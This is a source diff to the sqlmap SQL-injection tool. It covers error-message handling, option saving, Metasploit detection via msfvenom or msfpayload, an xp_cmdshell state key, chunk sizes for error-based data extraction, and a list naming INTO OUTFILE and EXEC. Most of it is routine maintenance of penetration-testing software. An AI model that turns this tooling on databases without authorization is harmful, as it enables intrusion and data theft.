continue
|
continue
|
||||||
elif prefix is None:
|
elif prefix is None:
|
||||||
page = re.sub(r'(?s)^.+%s' % re.escape(suffix), suffix, page)
|
page = re.sub(r'(?s)^.+%s' % re.escape(suffix), suffix.replace('\\', r'\\'), page)
|
||||||
elif suffix is None:
|
elif suffix is None:
|
||||||
page = re.sub(r'(?s)%s.+$' % re.escape(prefix), prefix, page)
|
page = re.sub(r'(?s)%s.+$' % re.escape(prefix), prefix.replace('\\', r'\\'), page)
|
||||||
else:
|
else:
|
||||||
page = re.sub(r'(?s)%s.+%s' % (re.escape(prefix), re.escape(suffix)), '%s%s' % (prefix, suffix), page)
|
page = re.sub(r'(?s)%s.+%s' % (re.escape(prefix), re.escape(suffix)), '%s%s' % (prefix.replace('\\', r'\\'), suffix.replace('\\', r'\\')), page)
|
||||||
|
|
||||||
return page
|
return page
|
||||||
|
|
||||||
|
@ -2936,7 +2945,7 @@ def unhandledExceptionMessage():
|
||||||
errMsg += "sqlmap version: %s\n" % VERSION_STRING[VERSION_STRING.find('/') + 1:]
|
errMsg += "sqlmap version: %s\n" % VERSION_STRING[VERSION_STRING.find('/') + 1:]
|
||||||
errMsg += "Python version: %s\n" % PYVERSION
|
errMsg += "Python version: %s\n" % PYVERSION
|
||||||
errMsg += "Operating system: %s\n" % PLATFORM
|
errMsg += "Operating system: %s\n" % PLATFORM
|
||||||
errMsg += "Command line: %s\n" % re.sub(r".+?\bsqlmap.py\b", "sqlmap.py", " ".join(sys.argv))
|
errMsg += "Command line: %s\n" % re.sub(r".+?\bsqlmap.py\b", "sqlmap.py", getUnicode(" ".join(sys.argv), encoding=sys.stdin.encoding))
|
||||||
errMsg += "Technique: %s\n" % (enumValueToNameLookup(PAYLOAD.TECHNIQUE, kb.technique) if kb.get("technique") else ("DIRECT" if conf.get("direct") else None))
|
errMsg += "Technique: %s\n" % (enumValueToNameLookup(PAYLOAD.TECHNIQUE, kb.technique) if kb.get("technique") else ("DIRECT" if conf.get("direct") else None))
|
||||||
errMsg += "Back-end DBMS: %s" % ("%s (fingerprinted)" % Backend.getDbms() if Backend.getDbms() is not None else "%s (identified)" % Backend.getIdentifiedDbms())
|
errMsg += "Back-end DBMS: %s" % ("%s (fingerprinted)" % Backend.getDbms() if Backend.getDbms() is not None else "%s (identified)" % Backend.getIdentifiedDbms())
|
||||||
|
|
||||||
|
@ -2978,7 +2987,7 @@ def createGithubIssue(errMsg, excMsg):
|
||||||
|
|
||||||
|
|
||||||
data = {"title": "Unhandled exception (#%s)" % key, "body": "```%s\n```\n```\n%s```" % (errMsg, excMsg)}
|
data = {"title": "Unhandled exception (#%s)" % key, "body": "```%s\n```\n```\n%s```" % (errMsg, excMsg)}
|
||||||
req = urllib2.Request(url="https://api.github.com/repos/sqlmapproject/sqlmap/issues", data=json.dumps(data), headers={"Authorization": "token %s" % GITHUB_REPORT_OAUTH_TOKEN})
|
req = urllib2.Request(url="https://api.github.com/repos/sqlmapproject/sqlmap/issues", data=json.dumps(data), headers={"Authorization": "token %s" % GITHUB_REPORT_OAUTH_TOKEN.decode("base64")})
|
||||||
|
|
||||||
try:
|
try:
|
||||||
f = urllib2.urlopen(req)
|
f = urllib2.urlopen(req)
|
||||||
|
@ -3011,7 +3020,7 @@ def maskSensitiveData(msg):
|
||||||
|
|
||||||
retVal = getUnicode(msg)
|
retVal = getUnicode(msg)
|
||||||
|
|
||||||
for item in filter(None, map(lambda x: conf.get(x), ("hostname", "googleDork", "authCred", "proxyCred", "tbl", "db", "col", "user", "cookie", "proxy"))):
|
for item in filter(None, map(lambda x: conf.get(x), ("hostname", "googleDork", "authCred", "proxyCred", "tbl", "db", "col", "user", "cookie", "proxy", "rFile", "wFile", "dFile"))):
|
||||||
regex = SENSITIVE_DATA_REGEX % re.sub("(\W)", r"\\\1", getUnicode(item))
|
regex = SENSITIVE_DATA_REGEX % re.sub("(\W)", r"\\\1", getUnicode(item))
|
||||||
while extractRegexResult(regex, retVal):
|
while extractRegexResult(regex, retVal):
|
||||||
value = extractRegexResult(regex, retVal)
|
value = extractRegexResult(regex, retVal)
|
||||||
|
@ -3022,7 +3031,6 @@ def maskSensitiveData(msg):
|
||||||
if match:
|
if match:
|
||||||
retVal = retVal.replace(match.group(3), '*' * len(match.group(3)))
|
retVal = retVal.replace(match.group(3), '*' * len(match.group(3)))
|
||||||
|
|
||||||
|
|
||||||
if getpass.getuser():
|
if getpass.getuser():
|
||||||
retVal = re.sub(r"(?i)\b%s\b" % re.escape(getpass.getuser()), "*" * len(getpass.getuser()), retVal)
|
retVal = re.sub(r"(?i)\b%s\b" % re.escape(getpass.getuser()), "*" * len(getpass.getuser()), retVal)
|
||||||
|
|
||||||
|
@ -3285,7 +3293,7 @@ def expandMnemonics(mnemonics, parser, args):
|
||||||
pointer = pointer.next[char]
|
pointer = pointer.next[char]
|
||||||
pointer.current.append(option)
|
pointer.current.append(option)
|
||||||
|
|
||||||
for mnemonic in mnemonics.split(','):
|
for mnemonic in (mnemonics or "").split(','):
|
||||||
found = None
|
found = None
|
||||||
name = mnemonic.split('=')[0].replace("-", "").strip()
|
name = mnemonic.split('=')[0].replace("-", "").strip()
|
||||||
value = mnemonic.split('=')[1] if len(mnemonic.split('=')) > 1 else None
|
value = mnemonic.split('=')[1] if len(mnemonic.split('=')) > 1 else None
|
||||||
|
@ -3465,8 +3473,13 @@ def asciifyUrl(url, forceQuote=False):
|
||||||
netloc = ':' + password + netloc
|
netloc = ':' + password + netloc
|
||||||
netloc = username + netloc
|
netloc = username + netloc
|
||||||
|
|
||||||
if parts.port:
|
try:
|
||||||
netloc += ':' + str(parts.port)
|
port = parts.port
|
||||||
|
except:
|
||||||
|
port = None
|
||||||
|
|
||||||
|
if port:
|
||||||
|
netloc += ':' + str(port)
|
||||||
|
|
||||||
return urlparse.urlunsplit([parts.scheme, netloc, path, query, parts.fragment])
|
return urlparse.urlunsplit([parts.scheme, netloc, path, query, parts.fragment])
|
||||||
|
|
||||||
|
@ -3657,7 +3670,7 @@ def evaluateCode(code, variables=None):
|
||||||
except KeyboardInterrupt:
|
except KeyboardInterrupt:
|
||||||
raise
|
raise
|
||||||
except Exception, ex:
|
except Exception, ex:
|
||||||
errMsg = "an error occurred while evaluating provided code ('%s'). " % ex
|
errMsg = "an error occurred while evaluating provided code ('%s') " % ex.message
|
||||||
raise SqlmapGenericException(errMsg)
|
raise SqlmapGenericException(errMsg)
|
||||||
|
|
||||||
def serializeObject(object_):
|
def serializeObject(object_):
|
||||||
|
@ -3713,7 +3726,7 @@ def applyFunctionRecursively(value, function):
|
||||||
|
|
||||||
return retVal
|
return retVal
|
||||||
|
|
||||||
def decodeHexValue(value):
|
def decodeHexValue(value, raw=False):
|
||||||
"""
|
"""
|
||||||
Returns value decoded from DBMS specific hexadecimal representation
|
Returns value decoded from DBMS specific hexadecimal representation
|
||||||
|
|
||||||
|
@ -3728,7 +3741,7 @@ def decodeHexValue(value):
|
||||||
if value and isinstance(value, basestring) and len(value) % 2 == 0:
|
if value and isinstance(value, basestring) and len(value) % 2 == 0:
|
||||||
retVal = hexdecode(retVal)
|
retVal = hexdecode(retVal)
|
||||||
|
|
||||||
if not kb.binaryField:
|
if not kb.binaryField and not raw:
|
||||||
if Backend.isDbms(DBMS.MSSQL) and value.startswith("0x"):
|
if Backend.isDbms(DBMS.MSSQL) and value.startswith("0x"):
|
||||||
try:
|
try:
|
||||||
retVal = retVal.decode("utf-16-le")
|
retVal = retVal.decode("utf-16-le")
|
||||||
|
@ -3826,7 +3839,7 @@ def resetCookieJar(cookieJar):
|
||||||
with open(filename, "w+b") as f:
|
with open(filename, "w+b") as f:
|
||||||
f.write("%s\n" % NETSCAPE_FORMAT_HEADER_COOKIES)
|
f.write("%s\n" % NETSCAPE_FORMAT_HEADER_COOKIES)
|
||||||
for line in lines:
|
for line in lines:
|
||||||
_ = line.split()
|
_ = line.split("\t")
|
||||||
if len(_) == 7:
|
if len(_) == 7:
|
||||||
_[4] = FORCE_COOKIE_EXPIRATION_TIME
|
_[4] = FORCE_COOKIE_EXPIRATION_TIME
|
||||||
f.write("\n%s" % "\t".join(_))
|
f.write("\n%s" % "\t".join(_))
|
||||||
|
|
|
@ -105,13 +105,22 @@ PGSQL_PRIVS = {
|
||||||
3: "catupd",
|
3: "catupd",
|
||||||
}
|
}
|
||||||
|
|
||||||
|
# Reference(s): http://stackoverflow.com/a/17672504
|
||||||
|
# http://docwiki.embarcadero.com/InterBase/XE7/en/RDB$USER_PRIVILEGES
|
||||||
|
|
||||||
FIREBIRD_PRIVS = {
|
FIREBIRD_PRIVS = {
|
||||||
"S": "SELECT",
|
"S": "SELECT",
|
||||||
"I": "INSERT",
|
"I": "INSERT",
|
||||||
"U": "UPDATE",
|
"U": "UPDATE",
|
||||||
"D": "DELETE",
|
"D": "DELETE",
|
||||||
"R": "REFERENCES",
|
"R": "REFERENCE",
|
||||||
"E": "EXECUTE",
|
"E": "EXECUTE",
|
||||||
|
"X": "EXECUTE",
|
||||||
|
"A": "ALL",
|
||||||
|
"M": "MEMBER",
|
||||||
|
"T": "DECRYPT",
|
||||||
|
"E": "ENCRYPT",
|
||||||
|
"B": "SUBSCRIBE",
|
||||||
}
|
}
|
||||||
|
|
||||||
DB2_PRIVS = {
|
DB2_PRIVS = {
|
||||||
|
|
|
@ -6,7 +6,6 @@ See the file 'doc/COPYING' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
import cgi
|
import cgi
|
||||||
import codecs
|
|
||||||
import hashlib
|
import hashlib
|
||||||
import os
|
import os
|
||||||
import re
|
import re
|
||||||
|
@ -22,7 +21,6 @@ from lib.core.common import normalizeUnicode
|
||||||
from lib.core.common import openFile
|
from lib.core.common import openFile
|
||||||
from lib.core.common import prioritySortColumns
|
from lib.core.common import prioritySortColumns
|
||||||
from lib.core.common import randomInt
|
from lib.core.common import randomInt
|
||||||
from lib.core.common import randomStr
|
|
||||||
from lib.core.common import safeCSValue
|
from lib.core.common import safeCSValue
|
||||||
from lib.core.common import unicodeencode
|
from lib.core.common import unicodeencode
|
||||||
from lib.core.common import unsafeSQLIdentificatorNaming
|
from lib.core.common import unsafeSQLIdentificatorNaming
|
||||||
|
@ -76,7 +74,7 @@ class Dump(object):
|
||||||
try:
|
try:
|
||||||
self._outputFP.write(text)
|
self._outputFP.write(text)
|
||||||
except IOError, ex:
|
except IOError, ex:
|
||||||
errMsg = "error occurred while writing to log file ('%s')" % ex
|
errMsg = "error occurred while writing to log file ('%s')" % ex.message
|
||||||
raise SqlmapGenericException(errMsg)
|
raise SqlmapGenericException(errMsg)
|
||||||
|
|
||||||
if kb.get("multiThreadMode"):
|
if kb.get("multiThreadMode"):
|
||||||
|
@ -96,7 +94,7 @@ class Dump(object):
|
||||||
try:
|
try:
|
||||||
self._outputFP = openFile(self._outputFile, "ab" if not conf.flushSession else "wb")
|
self._outputFP = openFile(self._outputFile, "ab" if not conf.flushSession else "wb")
|
||||||
except IOError, ex:
|
except IOError, ex:
|
||||||
errMsg = "error occurred while opening log file ('%s')" % ex
|
errMsg = "error occurred while opening log file ('%s')" % ex.message
|
||||||
raise SqlmapGenericException(errMsg)
|
raise SqlmapGenericException(errMsg)
|
||||||
|
|
||||||
def getOutputFile(self):
|
def getOutputFile(self):
|
||||||
|
|
|
@ -197,6 +197,7 @@ class HASHDB_KEYS:
|
||||||
KB_CHARS = "KB_CHARS"
|
KB_CHARS = "KB_CHARS"
|
||||||
KB_DYNAMIC_MARKINGS = "KB_DYNAMIC_MARKINGS"
|
KB_DYNAMIC_MARKINGS = "KB_DYNAMIC_MARKINGS"
|
||||||
KB_INJECTIONS = "KB_INJECTIONS"
|
KB_INJECTIONS = "KB_INJECTIONS"
|
||||||
|
KB_ERROR_CHUNK_LENGTH = "KB_ERROR_CHUNK_LENGTH"
|
||||||
KB_XP_CMDSHELL_AVAILABLE = "KB_XP_CMDSHELL_AVAILABLE"
|
KB_XP_CMDSHELL_AVAILABLE = "KB_XP_CMDSHELL_AVAILABLE"
|
||||||
OS = "OS"
|
OS = "OS"
|
||||||
|
|
||||||
|
|
|
@ -9,6 +9,7 @@ import cookielib
|
||||||
import glob
|
import glob
|
||||||
import inspect
|
import inspect
|
||||||
import logging
|
import logging
|
||||||
|
import httplib
|
||||||
import os
|
import os
|
||||||
import random
|
import random
|
||||||
import re
|
import re
|
||||||
|
@ -53,7 +54,6 @@ from lib.core.common import readInput
|
||||||
from lib.core.common import resetCookieJar
|
from lib.core.common import resetCookieJar
|
||||||
from lib.core.common import runningAsAdmin
|
from lib.core.common import runningAsAdmin
|
||||||
from lib.core.common import safeExpandUser
|
from lib.core.common import safeExpandUser
|
||||||
from lib.core.common import sanitizeStr
|
|
||||||
from lib.core.common import setOptimize
|
from lib.core.common import setOptimize
|
||||||
from lib.core.common import setPaths
|
from lib.core.common import setPaths
|
||||||
from lib.core.common import singleTimeWarnMessage
|
from lib.core.common import singleTimeWarnMessage
|
||||||
|
@ -107,6 +107,7 @@ from lib.core.settings import DEFAULT_PAGE_ENCODING
|
||||||
from lib.core.settings import DEFAULT_TOR_HTTP_PORTS
|
from lib.core.settings import DEFAULT_TOR_HTTP_PORTS
|
||||||
from lib.core.settings import DEFAULT_TOR_SOCKS_PORT
|
from lib.core.settings import DEFAULT_TOR_SOCKS_PORT
|
||||||
from lib.core.settings import DUMMY_URL
|
from lib.core.settings import DUMMY_URL
|
||||||
|
from lib.core.settings import IGNORE_SAVE_OPTIONS
|
||||||
from lib.core.settings import INJECT_HERE_MARK
|
from lib.core.settings import INJECT_HERE_MARK
|
||||||
from lib.core.settings import IS_WIN
|
from lib.core.settings import IS_WIN
|
||||||
from lib.core.settings import KB_CHARS_BOUNDARY_CHAR
|
from lib.core.settings import KB_CHARS_BOUNDARY_CHAR
|
||||||
|
@ -289,7 +290,7 @@ def _feedTargetsDict(reqFile, addedTargetUrls):
|
||||||
line = line.strip('\r')
|
line = line.strip('\r')
|
||||||
match = re.search(r"\A(%s) (.+) HTTP/[\d.]+\Z" % "|".join(getPublicTypeMembers(HTTPMETHOD, True)), line) if not method else None
|
match = re.search(r"\A(%s) (.+) HTTP/[\d.]+\Z" % "|".join(getPublicTypeMembers(HTTPMETHOD, True)), line) if not method else None
|
||||||
|
|
||||||
if len(line) == 0 and method and method != HTTPMETHOD.GET and data is None:
|
if len(line.strip()) == 0 and method and method != HTTPMETHOD.GET and data is None:
|
||||||
data = ""
|
data = ""
|
||||||
params = True
|
params = True
|
||||||
|
|
||||||
|
@ -313,6 +314,7 @@ def _feedTargetsDict(reqFile, addedTargetUrls):
|
||||||
# Headers
|
# Headers
|
||||||
elif re.search(r"\A\S+:", line):
|
elif re.search(r"\A\S+:", line):
|
||||||
key, value = line.split(":", 1)
|
key, value = line.split(":", 1)
|
||||||
|
value = value.strip().replace("\r", "").replace("\n", "")
|
||||||
|
|
||||||
# Cookie and Host headers
|
# Cookie and Host headers
|
||||||
if key.upper() == HTTP_HEADER.COOKIE.upper():
|
if key.upper() == HTTP_HEADER.COOKIE.upper():
|
||||||
|
@ -766,8 +768,14 @@ def _setMetasploit():
|
||||||
|
|
||||||
if conf.msfPath:
|
if conf.msfPath:
|
||||||
for path in (conf.msfPath, os.path.join(conf.msfPath, "bin")):
|
for path in (conf.msfPath, os.path.join(conf.msfPath, "bin")):
|
||||||
if all(os.path.exists(normalizePath(os.path.join(path, _))) for _ in ("", "msfcli", "msfconsole", "msfencode", "msfpayload")):
|
if any(os.path.exists(normalizePath(os.path.join(path, _))) for _ in ("msfcli", "msfconsole")):
|
||||||
msfEnvPathExists = True
|
msfEnvPathExists = True
|
||||||
|
if all(os.path.exists(normalizePath(os.path.join(path, _))) for _ in ("msfvenom",)):
|
||||||
|
kb.oldMsf = False
|
||||||
|
elif all(os.path.exists(normalizePath(os.path.join(path, _))) for _ in ("msfencode", "msfpayload")):
|
||||||
|
kb.oldMsf = True
|
||||||
|
else:
|
||||||
|
msfEnvPathExists = False
|
||||||
conf.msfPath = path
|
conf.msfPath = path
|
||||||
break
|
break
|
||||||
|
|
||||||
|
@ -798,12 +806,20 @@ def _setMetasploit():
|
||||||
for envPath in envPaths:
|
for envPath in envPaths:
|
||||||
envPath = envPath.replace(";", "")
|
envPath = envPath.replace(";", "")
|
||||||
|
|
||||||
if all(os.path.exists(normalizePath(os.path.join(envPath, _))) for _ in ("", "msfcli", "msfconsole", "msfencode", "msfpayload")):
|
if all(os.path.exists(normalizePath(os.path.join(envPath, _))) for _ in ("", "msfcli", "msfconsole")):
|
||||||
|
msfEnvPathExists = True
|
||||||
|
if all(os.path.exists(normalizePath(os.path.join(envPath, _))) for _ in ("msfvenom",)):
|
||||||
|
kb.oldMsf = False
|
||||||
|
elif all(os.path.exists(normalizePath(os.path.join(envPath, _))) for _ in ("msfencode", "msfpayload")):
|
||||||
|
kb.oldMsf = True
|
||||||
|
else:
|
||||||
|
msfEnvPathExists = False
|
||||||
|
|
||||||
|
if msfEnvPathExists:
|
||||||
infoMsg = "Metasploit Framework has been found "
|
infoMsg = "Metasploit Framework has been found "
|
||||||
infoMsg += "installed in the '%s' path" % envPath
|
infoMsg += "installed in the '%s' path" % envPath
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
msfEnvPathExists = True
|
|
||||||
conf.msfPath = envPath
|
conf.msfPath = envPath
|
||||||
|
|
||||||
break
|
break
|
||||||
|
@ -1325,6 +1341,9 @@ def _setHTTPExtraHeaders():
|
||||||
conf.headers = conf.headers.split("\n") if "\n" in conf.headers else conf.headers.split("\\n")
|
conf.headers = conf.headers.split("\n") if "\n" in conf.headers else conf.headers.split("\\n")
|
||||||
|
|
||||||
for headerValue in conf.headers:
|
for headerValue in conf.headers:
|
||||||
|
if not headerValue.strip():
|
||||||
|
continue
|
||||||
|
|
||||||
if headerValue.count(':') >= 1:
|
if headerValue.count(':') >= 1:
|
||||||
header, value = (_.lstrip() for _ in headerValue.split(":", 1))
|
header, value = (_.lstrip() for _ in headerValue.split(":", 1))
|
||||||
|
|
||||||
|
@ -1504,7 +1523,7 @@ def _createTemporaryDirectory():
|
||||||
os.makedirs(tempfile.gettempdir())
|
os.makedirs(tempfile.gettempdir())
|
||||||
except IOError, ex:
|
except IOError, ex:
|
||||||
errMsg = "there has been a problem while accessing "
|
errMsg = "there has been a problem while accessing "
|
||||||
errMsg += "system's temporary directory location(s) ('%s'). Please " % ex
|
errMsg += "system's temporary directory location(s) ('%s'). Please " % ex.message
|
||||||
errMsg += "make sure that there is enough disk space left. If problem persists, "
|
errMsg += "make sure that there is enough disk space left. If problem persists, "
|
||||||
errMsg += "try to set environment variable 'TEMP' to a location "
|
errMsg += "try to set environment variable 'TEMP' to a location "
|
||||||
errMsg += "writeable by the current user"
|
errMsg += "writeable by the current user"
|
||||||
|
@ -1562,6 +1581,9 @@ def _cleanupOptions():
|
||||||
else:
|
else:
|
||||||
conf.skip = []
|
conf.skip = []
|
||||||
|
|
||||||
|
if conf.cookie:
|
||||||
|
conf.cookie = re.sub(r"[\r\n]", "", conf.cookie)
|
||||||
|
|
||||||
if conf.delay:
|
if conf.delay:
|
||||||
conf.delay = float(conf.delay)
|
conf.delay = float(conf.delay)
|
||||||
|
|
||||||
|
@ -1669,6 +1691,13 @@ def _cleanupOptions():
|
||||||
threadData = getCurrentThreadData()
|
threadData = getCurrentThreadData()
|
||||||
threadData.reset()
|
threadData.reset()
|
||||||
|
|
||||||
|
def _dirtyPatches():
|
||||||
|
"""
|
||||||
|
Place for "dirty" Python related patches
|
||||||
|
"""
|
||||||
|
|
||||||
|
httplib._MAXLINE = 1 * 1024 * 1024 # to accept overly long result lines (e.g. SQLi results in HTTP header responses)
|
||||||
|
|
||||||
def _purgeOutput():
|
def _purgeOutput():
|
||||||
"""
|
"""
|
||||||
Safely removes (purges) output directory.
|
Safely removes (purges) output directory.
|
||||||
|
@ -1766,11 +1795,14 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
||||||
kb.endDetection = False
|
kb.endDetection = False
|
||||||
kb.explicitSettings = set()
|
kb.explicitSettings = set()
|
||||||
kb.extendTests = None
|
kb.extendTests = None
|
||||||
|
kb.errorChunkLength = None
|
||||||
kb.errorIsNone = True
|
kb.errorIsNone = True
|
||||||
kb.fileReadMode = False
|
kb.fileReadMode = False
|
||||||
kb.followSitemapRecursion = None
|
kb.followSitemapRecursion = None
|
||||||
kb.forcedDbms = None
|
kb.forcedDbms = None
|
||||||
kb.forcePartialUnion = False
|
kb.forcePartialUnion = False
|
||||||
|
kb.forceWhere = None
|
||||||
|
kb.futileUnion = None
|
||||||
kb.headersFp = {}
|
kb.headersFp = {}
|
||||||
kb.heuristicDbms = None
|
kb.heuristicDbms = None
|
||||||
kb.heuristicMode = False
|
kb.heuristicMode = False
|
||||||
|
@ -1797,9 +1829,11 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
||||||
kb.multiThreadMode = False
|
kb.multiThreadMode = False
|
||||||
kb.negativeLogic = False
|
kb.negativeLogic = False
|
||||||
kb.nullConnection = None
|
kb.nullConnection = None
|
||||||
|
kb.oldMsf = None
|
||||||
kb.orderByColumns = None
|
kb.orderByColumns = None
|
||||||
kb.originalCode = None
|
kb.originalCode = None
|
||||||
kb.originalPage = None
|
kb.originalPage = None
|
||||||
|
kb.originalPageTime = None
|
||||||
kb.originalTimeDelay = None
|
kb.originalTimeDelay = None
|
||||||
kb.originalUrls = dict()
|
kb.originalUrls = dict()
|
||||||
|
|
||||||
|
@ -1845,6 +1879,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
||||||
kb.technique = None
|
kb.technique = None
|
||||||
kb.tempDir = None
|
kb.tempDir = None
|
||||||
kb.testMode = False
|
kb.testMode = False
|
||||||
|
kb.testOnlyCustom = False
|
||||||
kb.testQueryCount = 0
|
kb.testQueryCount = 0
|
||||||
kb.testType = None
|
kb.testType = None
|
||||||
kb.threadContinue = True
|
kb.threadContinue = True
|
||||||
|
@ -1934,16 +1969,16 @@ def _useWizardInterface():
|
||||||
|
|
||||||
dataToStdout("\nsqlmap is running, please wait..\n\n")
|
dataToStdout("\nsqlmap is running, please wait..\n\n")
|
||||||
|
|
||||||
def _saveCmdline():
|
def _saveConfig():
|
||||||
"""
|
"""
|
||||||
Saves the command line options on a sqlmap configuration INI file
|
Saves the command line options to a sqlmap configuration INI file
|
||||||
Format.
|
Format.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
if not conf.saveCmdline:
|
if not conf.saveConfig:
|
||||||
return
|
return
|
||||||
|
|
||||||
debugMsg = "saving command line options on a sqlmap configuration INI file"
|
debugMsg = "saving command line options to a sqlmap configuration INI file"
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
config = UnicodeRawConfigParser()
|
config = UnicodeRawConfigParser()
|
||||||
|
@ -1966,6 +2001,9 @@ def _saveCmdline():
|
||||||
if datatype and isListLike(datatype):
|
if datatype and isListLike(datatype):
|
||||||
datatype = datatype[0]
|
datatype = datatype[0]
|
||||||
|
|
||||||
|
if option in IGNORE_SAVE_OPTIONS:
|
||||||
|
continue
|
||||||
|
|
||||||
if value is None:
|
if value is None:
|
||||||
if datatype == OPTION_TYPE.BOOLEAN:
|
if datatype == OPTION_TYPE.BOOLEAN:
|
||||||
value = "False"
|
value = "False"
|
||||||
|
@ -1982,16 +2020,16 @@ def _saveCmdline():
|
||||||
|
|
||||||
config.set(family, option, value)
|
config.set(family, option, value)
|
||||||
|
|
||||||
confFP = openFile(paths.SQLMAP_CONFIG, "wb")
|
confFP = openFile(conf.saveConfig, "wb")
|
||||||
|
|
||||||
try:
|
try:
|
||||||
config.write(confFP)
|
config.write(confFP)
|
||||||
except IOError, ex:
|
except IOError, ex:
|
||||||
errMsg = "something went wrong while trying "
|
errMsg = "something went wrong while trying "
|
||||||
errMsg += "to write to the configuration INI file '%s' ('%s')" % (paths.SQLMAP_CONFIG, ex)
|
errMsg += "to write to the configuration file '%s' ('%s')" % (conf.saveConfig, ex)
|
||||||
raise SqlmapSystemException(errMsg)
|
raise SqlmapSystemException(errMsg)
|
||||||
|
|
||||||
infoMsg = "saved command line options on '%s' configuration file" % paths.SQLMAP_CONFIG
|
infoMsg = "saved command line options to the configuration file '%s'" % conf.saveConfig
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
def setVerbosity():
|
def setVerbosity():
|
||||||
|
@ -2029,7 +2067,12 @@ def _mergeOptions(inputOptions, overrideOptions):
|
||||||
"""
|
"""
|
||||||
|
|
||||||
if inputOptions.pickledOptions:
|
if inputOptions.pickledOptions:
|
||||||
|
try:
|
||||||
inputOptions = base64unpickle(inputOptions.pickledOptions)
|
inputOptions = base64unpickle(inputOptions.pickledOptions)
|
||||||
|
except Exception, ex:
|
||||||
|
errMsg = "provided invalid value '%s' for option '--pickled-options'" % inputOptions.pickledOptions
|
||||||
|
errMsg += " ('%s')" % ex.message if ex.message else ""
|
||||||
|
raise SqlmapSyntaxException(errMsg)
|
||||||
|
|
||||||
if inputOptions.configFile:
|
if inputOptions.configFile:
|
||||||
configFileParser(inputOptions.configFile)
|
configFileParser(inputOptions.configFile)
|
||||||
|
@ -2446,9 +2489,10 @@ def init():
|
||||||
|
|
||||||
_useWizardInterface()
|
_useWizardInterface()
|
||||||
setVerbosity()
|
setVerbosity()
|
||||||
_saveCmdline()
|
_saveConfig()
|
||||||
_setRequestFromFile()
|
_setRequestFromFile()
|
||||||
_cleanupOptions()
|
_cleanupOptions()
|
||||||
|
_dirtyPatches()
|
||||||
_purgeOutput()
|
_purgeOutput()
|
||||||
_checkDependencies()
|
_checkDependencies()
|
||||||
_createTemporaryDirectory()
|
_createTemporaryDirectory()
|
||||||
|
|
|
@ -202,14 +202,13 @@ optDict = {
|
||||||
"outputDir": "string",
|
"outputDir": "string",
|
||||||
"parseErrors": "boolean",
|
"parseErrors": "boolean",
|
||||||
"pivotColumn": "string",
|
"pivotColumn": "string",
|
||||||
"saveCmdline": "boolean",
|
"saveConfig": "string",
|
||||||
"scope": "string",
|
"scope": "string",
|
||||||
"testFilter": "string",
|
"testFilter": "string",
|
||||||
"updateAll": "boolean",
|
"updateAll": "boolean",
|
||||||
},
|
},
|
||||||
|
|
||||||
"Miscellaneous": {
|
"Miscellaneous": {
|
||||||
"mnemonics": "string",
|
|
||||||
"alert": "string",
|
"alert": "string",
|
||||||
"answers": "string",
|
"answers": "string",
|
||||||
"beep": "boolean",
|
"beep": "boolean",
|
||||||
|
@ -218,6 +217,7 @@ optDict = {
|
||||||
"disableColoring": "boolean",
|
"disableColoring": "boolean",
|
||||||
"googlePage": "integer",
|
"googlePage": "integer",
|
||||||
"mobile": "boolean",
|
"mobile": "boolean",
|
||||||
|
"offline": "boolean",
|
||||||
"pageRank": "boolean",
|
"pageRank": "boolean",
|
||||||
"purgeOutput": "boolean",
|
"purgeOutput": "boolean",
|
||||||
"smart": "boolean",
|
"smart": "boolean",
|
||||||
|
|
|
@ -70,7 +70,7 @@ class Replication(object):
|
||||||
try:
|
try:
|
||||||
self.parent.cursor.execute(sql, parameters)
|
self.parent.cursor.execute(sql, parameters)
|
||||||
except sqlite3.OperationalError, ex:
|
except sqlite3.OperationalError, ex:
|
||||||
errMsg = "problem occurred ('%s') while accessing sqlite database " % ex
|
errMsg = "problem occurred ('%s') while accessing sqlite database " % unicode(ex)
|
||||||
errMsg += "located at '%s'. Please make sure that " % self.parent.dbpath
|
errMsg += "located at '%s'. Please make sure that " % self.parent.dbpath
|
||||||
errMsg += "it's not used by some other program"
|
errMsg += "it's not used by some other program"
|
||||||
raise SqlmapGenericException(errMsg)
|
raise SqlmapGenericException(errMsg)
|
||||||
|
|
|
@ -6,7 +6,6 @@ See the file 'doc/COPYING' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
import os
|
import os
|
||||||
import random
|
|
||||||
import re
|
import re
|
||||||
import subprocess
|
import subprocess
|
||||||
import string
|
import string
|
||||||
|
@ -324,11 +323,11 @@ CUSTOM_INJECTION_MARK_CHAR = '*'
|
||||||
# Other way to declare injection position
|
# Other way to declare injection position
|
||||||
INJECT_HERE_MARK = '%INJECT HERE%'
|
INJECT_HERE_MARK = '%INJECT HERE%'
|
||||||
|
|
||||||
# Maximum length used for retrieving data over MySQL error based payload due to "known" problems with longer result strings
|
# Minimum chunk length used for retrieving data over error based payloads
|
||||||
MYSQL_ERROR_CHUNK_LENGTH = 50
|
MIN_ERROR_CHUNK_LENGTH = 8
|
||||||
|
|
||||||
# Maximum length used for retrieving data over MSSQL error based payload due to trimming problems with longer result strings
|
# Maximum chunk length used for retrieving data over error based payloads
|
||||||
MSSQL_ERROR_CHUNK_LENGTH = 100
|
MAX_ERROR_CHUNK_LENGTH = 1024
|
||||||
|
|
||||||
# Do not escape the injected statement if it contains any of the following SQL keywords
|
# Do not escape the injected statement if it contains any of the following SQL keywords
|
||||||
EXCLUDE_UNESCAPE = ("WAITFOR DELAY ", " INTO DUMPFILE ", " INTO OUTFILE ", "CREATE ", "BULK ", "EXEC ", "RECONFIGURE ", "DECLARE ", "'%s'" % CHAR_INFERENCE_MARK)
|
EXCLUDE_UNESCAPE = ("WAITFOR DELAY ", " INTO DUMPFILE ", " INTO OUTFILE ", "CREATE ", "BULK ", "EXEC ", "RECONFIGURE ", "DECLARE ", "'%s'" % CHAR_INFERENCE_MARK)
|
||||||
|
@ -387,6 +386,9 @@ CODECS_LIST_PAGE = "http://docs.python.org/library/codecs.html#standard-encoding
|
||||||
# Simple regular expression used to distinguish scalar from multiple-row commands (not sole condition)
|
# Simple regular expression used to distinguish scalar from multiple-row commands (not sole condition)
|
||||||
